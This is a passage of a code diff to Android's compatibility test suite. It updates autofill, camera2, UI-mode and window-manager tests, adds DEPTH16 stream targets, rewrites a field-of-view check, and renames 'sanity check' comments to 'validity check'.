+        final String keyIBinder = "ibinder";
+        final Bundle holder = new Bundle();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ServiceConnection conn = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                holder.putBinder(keyIBinder, service);
+                latch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+            }
+        };
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await(10_000, TimeUnit.MILLISECONDS);
+        return new Pair<>(holder.getBinder(keyIBinder), conn);
+    }
+
+    static boolean runOnce(final IBinder binder, final long totalMb) {
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            data.writeLong(totalMb);
+            binder.transact(ACTION_RUN_ONCE, data, reply, 0);
+            return reply.readBoolean();
+        } catch (RemoteException e) {
+            return false;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 7174f36..e877350 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -124,6 +124,10 @@
     }
 
     public void testNightModeAutoNotPersistedCarMode() {
+        if (mUiModeManager.isNightModeLocked()) {
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
         mUiModeManager.enableCarMode(0);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
index 22ba3b9..54f391b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -26,6 +26,8 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import org.junit.After;
 import org.junit.Test;
 
@@ -51,8 +53,12 @@
 
     @After
     public void killSettings() {
-        // Make sure there's no Settings activity left , as it could fail future tests.
-        runShellCommand("am force-stop com.android.settings");
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
     }
 
     @Test
@@ -65,6 +71,7 @@
         // Asserts services are shown.
         mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
         mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index f67bd5c..fb878d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1812,7 +1812,7 @@
 
         // Tapping URLSpan.
         final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        span.onClick(/* unused= */ null);
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
         // Waits for the save UI hided
         mUiBot.waitForIdle();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 8babc6c..88173d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -55,6 +55,9 @@
 import android.support.test.uiautomator.SearchCondition;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.text.Spanned;
@@ -1246,4 +1249,15 @@
                 .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
         return spans[0];
     }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 776879d..a3e6256 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -431,7 +431,7 @@
         int width = size.getWidth();
         int height = size.getHeight();
         /**
-         * Check the input allocation is sane.
+         * Check the input allocation is valid.
          * - Byte size matches what we expect.
          * - The input is not all zeroes.
          */
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 4a4aa0d..90a7dcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -2361,7 +2361,7 @@
                         result.get(CaptureResult.TONEMAP_PRESET_CURVE));
             }
 
-            // Tonemap curve result availability and basic sanity check for all modes.
+            // Tonemap curve result availability and basic validity check for all modes.
             mCollector.expectValuesInRange("Tonemap curve red values are out of range",
                     CameraTestUtils.toObject(mapRed), /*min*/ZERO, /*max*/ONE);
             mCollector.expectInRange("Tonemap curve red length is out of range",
@@ -2999,8 +2999,9 @@
      */
     private void changeExposure(CaptureRequest.Builder requestBuilder,
             long expTime, int sensitivity) {
-        // Check if the max analog sensitivity is available and no larger than max sensitivity.
-        // The max analog sensitivity is not actually used here. This is only an extra sanity check.
+        // Check if the max analog sensitivity is available and no larger than max sensitivity.  The
+        // max analog sensitivity is not actually used here. This is only an extra correctness
+        // check.
         mStaticInfo.getMaxAnalogSensitivityChecked();
 
         expTime = mStaticInfo.getExposureClampToRange(expTime);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
         public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
         public TestSample(String cameraId, StaticMetadata staticInfo,
                 MandatoryStreamCombination combination, boolean subY8) {
             this.cameraId = cameraId;
@@ -247,9 +248,9 @@
             CameraTestUtils.setupConfigurationTargets(
                 testSample.combination.getStreamsInformation(), testSample.privTargets,
                 testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
-                testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
-                MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
-                /*physicalCameraId*/null, mHandler);
+                testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+                testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+                /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
 
             try {
                 checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
             for (ImageReader target : testSample.heicTargets) {
                 target.close();
             }
+            for (ImageReader target : testSample.depth16Targets) {
+                target.close();
+            }
         }
     }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 07155ff..7bf1f4c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -2084,7 +2084,7 @@
     }
 
     /**
-     * Sanity check of optical black regions.
+     * Correctness check of optical black regions.
      */
     @Test
     public void testOpticalBlackRegions() {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 99c6b33..6cfa435 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -187,7 +187,7 @@
         texture.setDefaultBufferSize(640, 480);
         Surface surface = new Surface(texture);
 
-        // Make sure that the default newInstance is still sane.
+        // Make sure that the default newInstance is still valid.
         ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
         Image defaultImage = defaultWriter.dequeueInputImage();
         defaultWriter.close();
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 4a88c84..56c2652 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -92,7 +92,6 @@
 
     private static final double FRAME_DURATION_THRESHOLD = 0.03;
     private static final double FOV_THRESHOLD = 0.03;
-    private static final double ASPECT_RATIO_THRESHOLD = 0.03;
     private static final long MAX_TIMESTAMP_DIFFERENCE_THRESHOLD = 10000000; // 10ms
 
     private StateWaiter mSessionWaiter;
@@ -994,51 +993,56 @@
     }
 
     /**
-     * Validate that physical cameras' crop region are compensated based on focal length.
+     * Validate that physical cameras are not cropping too much.
      *
-     * This is to make sure physical processed streams have the same field of view as long as
-     * the physical cameras supports it.
+     * This is to make sure physical processed streams have at least the same field of view as
+     * the logical stream, or the maximum field of view of the physical camera, whichever is
+     * smaller.
+     *
+     * Note that the FOV is calculated in the directio of sensor width.
      */
     private void validatePhysicalCamerasFov(TotalCaptureResult totalCaptureResult,
             List<String> physicalCameraIds) {
         Rect cropRegion = totalCaptureResult.get(CaptureResult.SCALER_CROP_REGION);
         Float focalLength = totalCaptureResult.get(CaptureResult.LENS_FOCAL_LENGTH);
-        float cropAspectRatio = (float)cropRegion.width() / cropRegion.height();
+        Float zoomRatio = totalCaptureResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+        Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+        SizeF sensorSize = mStaticInfo.getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
         // Assume subject distance >> focal length, and subject distance >> camera baseline.
-        float fov = cropRegion.width() / (2 * focalLength);
+        double fov = 2 * Math.toDegrees(Math.atan2(sensorSize.getWidth() * cropRegion.width() /
+                (2 * zoomRatio * activeArraySize.width()),  focalLength));
+
         Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResult.getPhysicalCameraResults();
         for (String physicalId : physicalCameraIds) {
+            StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
             CaptureResult physicalResult = physicalResultsDual.get(physicalId);
             Rect physicalCropRegion = physicalResult.get(CaptureResult.SCALER_CROP_REGION);
-            final Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalZoomRatio = physicalResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            Rect physicalActiveArraySize = physicalStaticInfo.getActiveArraySizeChecked();
+            SizeF physicalSensorSize = mStaticInfo.getValueFromKeyNonNull(
+                    CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
-            StaticMetadata staticInfo = mAllStaticInfo.get(physicalId);
-            final Rect activeArraySize = staticInfo.getActiveArraySizeChecked();
-            final Float maxDigitalZoom = staticInfo.getAvailableMaxDigitalZoomChecked();
-            int maxWidth = activeArraySize.width();
-            int minWidth = (int)(activeArraySize.width() / maxDigitalZoom);
-            int expectedCropWidth = Math.max(Math.min(Math.round(fov * 2 * physicalFocalLength),
-                    maxWidth), minWidth);
+            double physicalFov = 2 * Math.toDegrees(Math.atan2(
+                    physicalSensorSize.getWidth() * physicalCropRegion.width() /
+                    (2 * physicalZoomRatio * physicalActiveArraySize.width()), physicalFocalLength));
 
-            // Makes sure FOV matches to the maximum extent.
-            assertTrue("Physical stream FOV (Field of view) should match logical stream to most "
-                    + "extent. Crop region actual width " + physicalCropRegion.width() +
-                    " vs expected width " + expectedCropWidth,
-                    Math.abs((float)physicalCropRegion.width() - expectedCropWidth) /
-                    expectedCropWidth < FOV_THRESHOLD);
+            double maxPhysicalFov = 2 * Math.toDegrees(Math.atan2(physicalSensorSize.getWidth() / 2,
+                    physicalFocalLength));
+            double expectedPhysicalFov = Math.min(maxPhysicalFov, fov);
 
-            // Makes sure aspect ratio matches.
-            float physicalCropAspectRatio =
-                    (float)physicalCropRegion.width() / physicalCropRegion.height();
-            assertTrue("Physical stream for camera " + physicalId + " aspect ratio " +
-                    physicalCropAspectRatio + " should match logical streams aspect ratio " +
-                    cropAspectRatio, Math.abs(physicalCropAspectRatio - cropAspectRatio) <
-                    ASPECT_RATIO_THRESHOLD);
+            if (VERBOSE) {
+                Log.v(TAG, "Logical camera Fov: " + fov + ", maxPhyiscalFov: " + maxPhysicalFov +
+                        ", physicalFov: " + physicalFov);
+            }
+            assertTrue("Physical stream FOV (Field of view) should be greater or equal to"
+                    + " min(logical stream FOV, max physical stream FOV). Physical FOV: "
+                    + physicalFov + " vs min(" + fov + ", " + maxPhysicalFov,
+                    physicalFov - expectedPhysicalFov > -FOV_THRESHOLD);
         }
-
-
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 067104c..bf42ab7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -2046,7 +2046,7 @@
     }
 
     /**
-     * Validate video snapshot capture image object sanity and test.
+     * Validate video snapshot capture image object validity and test.
      *
      * <p> Check for size, format and jpeg decoding</p>
      *
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 80a2fe95..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
         List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
-                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
-                MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+                outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+                mHandler);
 
         boolean haveSession = false;
         try {
@@ -416,6 +418,9 @@
         for (ImageReader target : heicTargets) {
             target.close();
         }
+        for (ImageReader target : depth16Targets) {
+            target.close();
+        }
     }
 
     /**
@@ -498,6 +503,7 @@
         List<ImageReader> y8Targets = new ArrayList<>();
         List<ImageReader> rawTargets = new ArrayList<>();
         List<ImageReader> heicTargets = new ArrayList<>();
+        List<ImageReader> depth16Targets = new ArrayList<>();
         ArrayList<Surface> outputSurfaces = new ArrayList<>();
         List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
         ImageReader inputReader = null;
@@ -527,7 +533,7 @@
             // separately.
             CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
                     privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
-                    outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+                    depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
                     substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
 
             outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
                 target.close();
             }
 
+            for (ImageReader target : depth16Targets) {
+                target.close();
+            }
+
             if (inputReader != null) {
                 inputReader.close();
             }
@@ -1829,7 +1839,7 @@
                 { LEGACY_COMBINATIONS, LIMITED_COMBINATIONS, BURST_COMBINATIONS, FULL_COMBINATIONS,
                   RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -1965,7 +1975,7 @@
         final int[][][] TABLES =
                 { LIMITED_COMBINATIONS, FULL_COMBINATIONS, RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -2091,9 +2101,9 @@
     }
 
     /**
-     * Sanity check the configuration tables.
+     * Verify correctness of the configuration tables.
      */
-    private void sanityCheckConfigurationTables(final int[][][] tables) throws Exception {
+    private void validityCheckConfigurationTables(final int[][][] tables) throws Exception {
         int tableIdx = 0;
         for (int[][] table : tables) {
             int rowIdx = 0;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 991649e..5f2f961 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1564,9 +1564,9 @@
     }
 
     /**
-     * Validate JPEG capture image object sanity and test.
+     * Validate JPEG capture image object correctness and test.
      * <p>
-     * In addition to image object sanity, this function also does the decoding
+     * In addition to image object correctness, this function also does the decoding
      * test, which is slower.
      * </p>
      *
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index e7b36f0..c2645ad 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -1045,9 +1045,9 @@
     }
 
     /**
-     * Sanity check of some extra exif tags.
+     * Correctness check of some extra exif tags.
      * <p>
-     * Sanity check some extra exif tags without asserting the check failures
+     * Check some extra exif tags without asserting the check failures
      * immediately. When a failure is detected, the failure cause is logged,
      * the rest of the tests are still executed. The caller can assert with the
      * failure cause based on the returned test status.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 9561eb0..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
             List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
             List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
             List<ImageReader> rawTargets, List<ImageReader> heicTargets,
-            List<OutputConfiguration> outputConfigs,
+            List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
             int numBuffers, boolean substituteY8, boolean substituteHeic,
             String overridePhysicalCameraId, Handler handler) {
 
@@ -307,6 +307,18 @@
                     heicTargets.add(target);
                     break;
                 }
+                case ImageFormat.DEPTH16: {
+                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+                            targetSize.getHeight(), format, numBuffers);
+                    target.setOnImageAvailableListener(imageDropperListener, handler);
+                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
+                    if (overridePhysicalCameraId != null) {
+                        config.setPhysicalCameraId(overridePhysicalCameraId);
+                    }
+                    outputConfigs.add(config);
+                    depth16Targets.add(target);
+                    break;
+                }
                 default:
                     fail("Unknown output format " + format);
             }
@@ -395,7 +407,7 @@
                 image = reader.acquireNextImage();
             } finally {
                 if (image != null) {
-                    // Should only do some quick sanity check in callback, as the ImageReader
+                    // Should only do some quick validity checks in callback, as the ImageReader
                     // could be closed asynchronously, which will close all images acquired from
                     // this ImageReader.
                     checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
@@ -2443,7 +2455,7 @@
     /**
      * Simple validation of JPEG image size and format.
      * <p>
-     * Only validate the image object sanity. It is fast, but doesn't actually
+     * Only validate the image object basic correctness. It is fast, but doesn't actually
      * check the buffer data. Assert is used here as it make no sense to
      * continue the test if the jpeg image captured has some serious failures.
      * </p>
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
index cb9e522..bef3e26 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
@@ -22,7 +22,7 @@
 /**
  * Helper set of methods to perform precondition checks before starting method execution.
  *
- * <p>Typically used to sanity check arguments or the current object state.</p>
+ * <p>Typically used to validity check arguments or the current object state.</p>
  */
 public final class Preconditions {
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 332964c..a05af2a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -518,7 +518,7 @@
     }
 
     /**
-     * Get max AE regions and do sanity check.
+     * Get max AE regions and do validity check.
      *
      * @return AE max regions supported by the camera device
      */
@@ -531,7 +531,7 @@
     }
 
     /**
-     * Get max AWB regions and do sanity check.
+     * Get max AWB regions and do validity check.
      *
      * @return AWB max regions supported by the camera device
      */
@@ -544,7 +544,7 @@
     }
 
     /**
-     * Get max AF regions and do sanity check.
+     * Get max AF regions and do validity check.
      *
      * @return AF max regions supported by the camera device
      */
@@ -628,7 +628,7 @@
     }
 
     /**
-     * Get available thumbnail sizes and do the sanity check.
+     * Get available thumbnail sizes and do the validity check.
      *
      * @return The array of available thumbnail sizes
      */
@@ -656,7 +656,7 @@
     }
 
     /**
-     * Get available focal lengths and do the sanity check.
+     * Get available focal lengths and do the validity check.
      *
      * @return The array of available focal lengths
      */
@@ -677,7 +677,7 @@
     }
 
     /**
-     * Get available apertures and do the sanity check.
+     * Get available apertures and do the validity check.
      *
      * @return The non-null array of available apertures
      */
@@ -992,7 +992,7 @@
     }
 
     /**
-     * Get hyperfocalDistance and do the sanity check.
+     * Get hyperfocalDistance and do the validity check.
      * <p>
      * Note that, this tag is optional, will return -1 if this tag is not
      * available.
@@ -1151,7 +1151,7 @@
     }
 
     /**
-     * get android.control.availableModes and do the sanity check.
+     * get android.control.availableModes and do the validity check.
      *
      * @return available control modes.
      */
@@ -1207,7 +1207,7 @@
     }
 
     /**
-     * Get aeAvailableModes and do the sanity check.
+     * Get aeAvailableModes and do the validity check.
      *
      * <p>Depending on the check level this class has, for WAR or COLLECT levels,
      * If the aeMode list is invalid, return an empty mode array. The the caller doesn't
@@ -1277,7 +1277,7 @@
     }
 
     /**
-     * Get available AWB modes and do the sanity check.
+     * Get available AWB modes and do the validity check.
      *
      * @return array that contains available AWB modes, empty array if awbAvailableModes is
      * unavailable.
@@ -1303,7 +1303,7 @@
     }
 
     /**
-     * Get available AF modes and do the sanity check.
+     * Get available AF modes and do the validity check.
      *
      * @return array that contains available AF modes, empty array if afAvailableModes is
      * unavailable.
@@ -1691,7 +1691,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationStep and do the sanity check.
+     * Get value of key android.control.aeCompensationStep and do the validity check.
      *
      * @return default value if the value is null.
      */
@@ -1716,7 +1716,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationRange and do the sanity check.
+     * Get value of key android.control.aeCompensationRange and do the validity check.
      *
      * @return default value if the value is null or malformed.
      */
@@ -1746,7 +1746,7 @@
     }
 
     /**
-     * Get availableVideoStabilizationModes and do the sanity check.
+     * Get availableVideoStabilizationModes and do the validity check.
      *
      * @return available video stabilization modes, empty array if it is unavailable.
      */
@@ -1777,7 +1777,7 @@
     }
 
     /**
-     * Get availableOpticalStabilization and do the sanity check.
+     * Get availableOpticalStabilization and do the validity check.
      *
      * @return available optical stabilization modes, empty array if it is unavailable.
      */
@@ -1967,7 +1967,7 @@
     }
 
     /**
-     * Get max pipeline depth and do the sanity check.
+     * Get max pipeline depth and do the validity check.
      *
      * @return max pipeline depth, default value if it is not available.
      */
@@ -2033,7 +2033,7 @@
 
 
     /**
-     * Get available capabilities and do the sanity check.
+     * Get available capabilities and do the validity check.
      *
      * @return reported available capabilities list, empty list if the value is unavailable.
      */
@@ -2299,7 +2299,7 @@
     }
 
     /**
-     * Get max number of output raw streams and do the basic sanity check.
+     * Get max number of output raw streams and do the basic validity check.
      *
      * @return reported max number of raw output stream
      */
@@ -2312,7 +2312,7 @@
     }
 
     /**
-     * Get max number of output processed streams and do the basic sanity check.
+     * Get max number of output processed streams and do the basic validity check.
      *
      * @return reported max number of processed output stream
      */
@@ -2325,7 +2325,7 @@
     }
 
     /**
-     * Get max number of output stalling processed streams and do the basic sanity check.
+     * Get max number of output stalling processed streams and do the basic validity check.
      *
      * @return reported max number of stalling processed output stream
      */
@@ -2338,7 +2338,7 @@
     }
 
     /**
-     * Get lens facing and do the sanity check
+     * Get lens facing and do the validity check
      * @return lens facing, return default value (BACK) if value is unavailable.
      */
     public int getLensFacingChecked() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e005059..859eb29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -64,12 +64,10 @@
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.server.wm.settings.SettingsSession;
 import android.view.Display;
 
 import org.junit.Test;
@@ -452,10 +450,9 @@
     public void testRotatedInfoWithFixedRotationTransform() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
-        // TODO(b/143053092): Remove the settings if it becomes stable.
-        mObjectTracker.manage(new SettingsSession<>(
-                Settings.Global.getUriFor("fixed_rotation_transform"),
-                Settings.Global::getInt, Settings.Global::putInt)).set(1);
+        // Start a portrait activity first to ensure that the orientation will change.
+        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
 
         getLaunchActivityBuilder()
                 .setUseInstrumentation()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 0f89ea2..267bec9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -25,7 +25,7 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -172,11 +172,22 @@
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
         }
 
-        mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
-        mWmState.assertFrontStack("Fullscreen stack should be on top.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFocusedStack("Fullscreen stack should be focused.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        if (isAssistantOnTop()) {
+            // If the assistant is configured to be always-on-top, then the new task should have
+            // been started behind it and the assistant stack should still be on top.
+            mWmState.assertFocusedActivity(
+                    "AssistantActivity should be focused", ASSISTANT_ACTIVITY);
+            mWmState.assertFrontStackActivityType(
+                    "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+            mWmState.assertFocusedStack("Assistant stack should be focused.",
+                    WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        } else {
+            mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+            mWmState.assertFrontStack("Fullscreen stack should be on top.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
